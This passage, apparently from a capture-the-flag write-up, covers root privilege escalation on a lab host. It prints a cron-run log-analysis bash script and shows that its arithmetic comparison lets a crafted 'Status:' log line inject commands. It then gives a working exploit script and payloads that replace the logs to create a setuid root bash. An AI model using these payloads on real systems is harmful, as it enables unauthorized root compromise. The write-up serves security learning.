drwxr-x--- 2 root root 4096 Apr 9 18:34 scripts
Although we cannot access the heapdump
and scripts
folders, there's a suspicious root-owned script log_analyse.sh
blinking on our radar..
Code Reivew
The log_analyse.sh
script is a privilege escalation vector:
#!/bin/bash
# Colors
GREEN='\033[0;32m'
RED='\033[0;31m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
CYAN='\033[0;36m'
RESET='\033[0m'
LOG_FILE="$1"
OUTPUT_FILE="log_analysis.txt"
declare -A successful_users # Associative array: username -> count
declare -A failed_users # Associative array: username -> count
STATUS_CODES=("200:0" "201:0" "302:0" "400:0" "401:0" "403:0" "404:0" "500:0") # Indexed array: "code:count" pairs
if [ ! -f "$LOG_FILE" ]; then
echo -e "${RED}Error: Log file $LOG_FILE not found.${RESET}"
exit 1
fi
analyze_logins() {
# Process successful logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${successful_users[$username]+_}" ]; then
successful_users[$username]=$((successful_users[$username] + 1))
else
successful_users[$username]=1
fi
done < <(grep "LoginSuccessLogger" "$LOG_FILE")
# Process failed logins
while IFS= read -r line; do
username=$(echo "$line" | awk -F"'" '{print $2}')
if [ -n "${failed_users[$username]+_}" ]; then
failed_users[$username]=$((failed_users[$username] + 1))
else
failed_users[$username]=1
fi
done < <(grep "LoginFailureLogger" "$LOG_FILE")
}
analyze_http_statuses() {
# Process HTTP status codes
while IFS= read -r line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
found=0
# Check if code exists in STATUS_CODES array
for i in "${!STATUS_CODES[@]}"; do
existing_entry="${STATUS_CODES[$i]}"
existing_code=$(echo "$existing_entry" | cut -d':' -f1)
existing_count=$(echo "$existing_entry" | cut -d':' -f2)
if [[ "$existing_code" -eq "$code" ]]; then
new_count=$((existing_count + 1))
STATUS_CODES[$i]="${existing_code}:${new_count}"
break
fi
done
done < <(grep "HTTP.*Status: " "$LOG_FILE")
}
analyze_log_errors(){
# Log Level Counts (colored)
echo -e "\n${YELLOW}[+] Log Level Counts:${RESET}"
log_levels=$(grep -oP '(?<=Z )\w+' "$LOG_FILE" | sort | uniq -c)
echo "$log_levels" | awk -v blue="$BLUE" -v yellow="$YELLOW" -v red="$RED" -v reset="$RESET" '{
if ($2 == "INFO") color=blue;
else if ($2 == "WARN") color=yellow;
else if ($2 == "ERROR") color=red;
else color=reset;
printf "%s%6s %s%s\n", color, $1, $2, reset
}'
# ERROR Messages
error_messages=$(grep ' ERROR ' "$LOG_FILE" | awk -F' ERROR ' '{print $2}')
echo -e "\n${RED}[+] ERROR Messages:${RESET}"
echo "$error_messages" | awk -v red="$RED" -v reset="$RESET" '{print red $0 reset}'
# Eureka Errors
eureka_errors=$(grep 'Connect to http://localhost:8761.*failed: Connection refused' "$LOG_FILE")
eureka_count=$(echo "$eureka_errors" | wc -l)
echo -e "\n${YELLOW}[+] Eureka Connection Failures:${RESET}"
echo -e "${YELLOW}Count: $eureka_count${RESET}"
echo "$eureka_errors" | tail -n 2 | awk -v yellow="$YELLOW" -v reset="$RESET" '{print yellow $0 reset}'
}
display_results() {
echo -e "${BLUE}----- Log Analysis Report -----${RESET}"
# Successful logins
echo -e "\n${GREEN}[+] Successful Login Counts:${RESET}"
total_success=0
for user in "${!successful_users[@]}"; do
count=${successful_users[$user]}
printf "${GREEN}%6s %s${RESET}\n" "$count" "$user"
total_success=$((total_success + count))
done
echo -e "${GREEN}\nTotal Successful Logins: $total_success${RESET}"
# Failed logins
echo -e "\n${RED}[+] Failed Login Attempts:${RESET}"
total_failed=0
for user in "${!failed_users[@]}"; do
count=${failed_users[$user]}
printf "${RED}%6s %s${RESET}\n" "$count" "$user"
total_failed=$((total_failed + count))
done
echo -e "${RED}\nTotal Failed Login Attempts: $total_failed${RESET}"
# HTTP status codes
echo -e "\n${CYAN}[+] HTTP Status Code Distribution:${RESET}"
total_requests=0
# Sort codes numerically
IFS=$'\n' sorted=($(sort -n -t':' -k1 <<<"${STATUS_CODES[*]}"))
unset IFS
for entry in "${sorted[@]}"; do
code=$(echo "$entry" | cut -d':' -f1)
count=$(echo "$entry" | cut -d':' -f2)
total_requests=$((total_requests + count))
# Color coding
if [[ $code =~ ^2 ]]; then color="$GREEN"
elif [[ $code =~ ^3 ]]; then color="$YELLOW"
elif [[ $code =~ ^4 || $code =~ ^5 ]]; then color="$RED"
else color="$CYAN"
fi
printf "${color}%6s %s${RESET}\n" "$count" "$code"
done
echo -e "${CYAN}\nTotal HTTP Requests Tracked: $total_requests${RESET}"
}
# Main execution
analyze_logins
analyze_http_statuses
display_results | tee "$OUTPUT_FILE"
analyze_log_errors | tee -a "$OUTPUT_FILE"
echo -e "\n${GREEN}Analysis completed. Results saved to $OUTPUT_FILE${RESET}"
It takes one argument: a log file path. Then It reads and parses that file: grep, awk, count login events, HTTP codes, etc. Eventually, It saves output to a file: log_analysis.txt
(in the current directory).
However, a security risk lies in the analyze_http_statuses()
function:
grep "HTTP.*Status: " "$LOG_FILE" | while read line; do
code=$(echo "$line" | grep -oP 'Status: \K.*')
It first extracts data with keyword "HTTP.*Status: "
. Then grep -oP 'Status: \K.*'
will extract everything after "Status: " from the line – Whatever is extracted goes into variable code
.
Then code is interpreted in:
if [[ "$existing_code" -eq "$code" ]]; then
-eq
is a numeric comparison.- If
$code
is NOT a number, bash will evaluate it. - If
$code
is something likea[$(id)]
, then bash will expand the$(...)
before comparison.
a
can be treated like a variable name, wherea[...]
can be treated as a kind of array access (even ifa
doesn't exist, Bash doesn't care initially during parsing). So Bash parses inside the[ ... ]
, and executes the$(...)
.
This is exactly a Command Injection surface via log contents, when the script runs as root (we should check if it's called by cron later). And it trusts the input file ($LOG_FILE
) completely washout sanitizing anything.
Pspy
We couldn't peer into root's crontab directly — but no matter. We can run pspy to monitor the file system:
./pspy64 -cpf -i 1000
As a result, we discover some activities relating to the log_analyse.sh
script:

The blue repeats:
CMD: UID=0 PID=400638 | /bin/bash /opt/log_analyse.sh /var/www/web/cloud-gateway/log/application.log
CMD: UID=0 PID=398850 | /bin/bash /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
UID=0
means root.- The script
/opt/log_analyse.sh
is being launched as root. - Multiple instances (
PID=400638
,PID=398850
, etc.) are visible — meaning the script is highly susceptible for being called by a cronjob or monitoring service.
Earlier, we did discover that /var/www/web/cloud-gateway/log/application.log
and /opt/log_analyse.sh /var/www/web/user-management-service/log/application.log
are constantly updated according to the LinPEAS result.
The /var/www/web/cloud-gateway/log/application.log
file contains the keyword formt "HTTP.*Status:
":
miranda-wise@eureka:/dev/shm$ tail /var/www/web/cloud-gateway/log/application.log -n5
2025-04-27T12:45:01.612Z INFO 2314 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-27T12:45:01.651Z INFO 2314 --- [app-gateway] [reactor-http-epoll-2] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-27T12:45:01.690Z INFO 2314 --- [app-gateway] [reactor-http-epoll-3] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-27T12:45:01.725Z INFO 2314 --- [app-gateway] [reactor-http-epoll-4] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
2025-04-27T12:45:01.756Z INFO 2314 --- [app-gateway] [reactor-http-epoll-1] c.eureka.gateway.Config.LoggingFilter : HTTP POST /login - Status: 403
… which will be extracted and passed to another regex 'Status: \K.*'
in the analyze_http_statuses()
function logic. This means root is running the vulnerable script log_analyse.sh
to parse the logs.
Therefore, we should not immediately check the permissions on the log files:
miranda-wise@eureka:/dev/shm$ groups
miranda-wise developers
miranda-wise@eureka:/dev/shm$ ls -l /var/www/web/user-management-service/log/application.log
-rw-rw-r-- 1 www-data www-data 17361 Apr 27 12:51 /var/www/web/user-management-service/log/application.log
miranda-wise@eureka:/dev/shm$ ls -ld /var/www/web/user-management-service/log/
drwxrwxr-x 3 www-data developers 4096 Apr 27 07:44 /var/www/web/user-management-service/log/
miranda-wise@eureka:/dev/shm$ ls -l /var/www/web/cloud-gateway/log/application.log
-rw-r--r-- 1 www-data www-data 22339 Apr 27 12:45 /var/www/web/cloud-gateway/log/application.log
miranda-wise@eureka:/dev/shm$ ls -ld /var/www/web/cloud-gateway/log
drwxrwxr-x 2 www-data developers 4096 Apr 27 07:44 /var/www/web/cloud-gateway/log
We cannot edit the files directly, but we have full rights to modify their parent directories as member of developers
group – meaning we can delete them, then replace them.
Bingo.
Privesc
After dissecting the vulnerability chain, we moved in for the root compromise:
#!/bin/bash
TARGETS=(
"/var/www/web/user-management-service/log/application.log"
"/var/www/web/cloud-gateway/log/application.log"
)
PAYLOAD='HTTPAxuraIsAJokeStatus: a[$(cp /bin/bash /tmp/pwn && chmod +s /tmp/pwn)]'
for log in "${TARGETS[@]}"; do
echo "[+] Replacing $log"
rm -f "$log"
echo "$PAYLOAD" > "$log"
done
echo "[+] Done. Wait for cron to escalate."
We didn’t even need to weaponize both targets like I did in the script. Replacing either log with a payload like:
HTTP Status: a[$(chmod +s /bin/bash)]
…would corrupt the parsing logic inside the vulnerable analyze_http_statuses()
function of log_analyse.sh
, triggering command injection under root execution.
Soon enough:

Rooted.
Comments | NOTHING